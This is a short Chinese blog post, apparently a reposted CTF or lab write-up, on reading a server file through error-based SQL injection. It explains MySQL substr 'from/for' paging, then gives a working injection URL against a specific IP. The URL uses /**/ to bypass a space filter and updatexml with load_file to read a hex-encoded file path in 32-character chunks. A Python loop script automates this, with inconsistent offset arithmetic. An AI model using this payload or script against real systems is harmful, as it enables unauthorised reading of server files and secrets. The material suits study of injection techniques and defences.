SQL注入文件讀取通過from for分頁讀取


http://103.238.227.13:10088/?id=1

在讀取文件的時候發現不能夠一下子全部讀取出來。經過百度學習了一下,看到別人使用from for說實在此前真不知道這操作。

先來看一下from for吧

 1 mysql> select database();
 2 +------------+
 3 | database() |
 4 +------------+
 5 | typecho    |
 6 +------------+
 7 1 row in set (0.00 sec)
 8 
 9 mysql> select substr(database() from 1 for 2);
10 +---------------------------------+
11 | substr(database() from 1 for 2) |
12 +---------------------------------+
13 | ty                              |
14 +---------------------------------+
15 1 row in set (0.00 sec)
16 
17 mysql> select substr(database() from 2 for 3);
18 +---------------------------------+
19 | substr(database() from 2 for 3) |
20 +---------------------------------+
21 | ype                             |
22 +---------------------------------+
23 1 row in set (0.00 sec)
#說明前面一個數字是從第幾個開始讀取,最后的一個數字是讀取的長度。

大概懂了吧,就是起到一個分頁的效果。

那么再用到注入里自然就OK了。

PS:過濾了空格可以用使用/**/進行替換,還有就是updatexml最多只能顯示32位的長度,所以for的數字是32。

http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/1/**/for/**/32)),1),1)

然后寫一個腳本吧from后面的數字每次+32,for也要加就可以了。

以下腳本待完善。

 1 #!/usr/bin/env python
 2 #encoding:utf-8
 3 #by i3ekr
 4 
 5 import requests,re
 6 from lxml import etree
 7 n1 = 1
 8 n2 = 32
 9 
10 for i in range(0,100):
11     url ="""
12 http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/%d/**/for/**/%d)),1),1)
13     """%(n1,n2)
14     html = requests.get(url,timeout=5).text
15     print(html)
16     result=re.findall(html,"[A-Z][0-9][A-Z][0-9]")
17     result = re.findall("[A-Z][0-9][A-Z][0-9]{29}",html)
18     print(result)
19     n1+=31
20     n2+=32

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM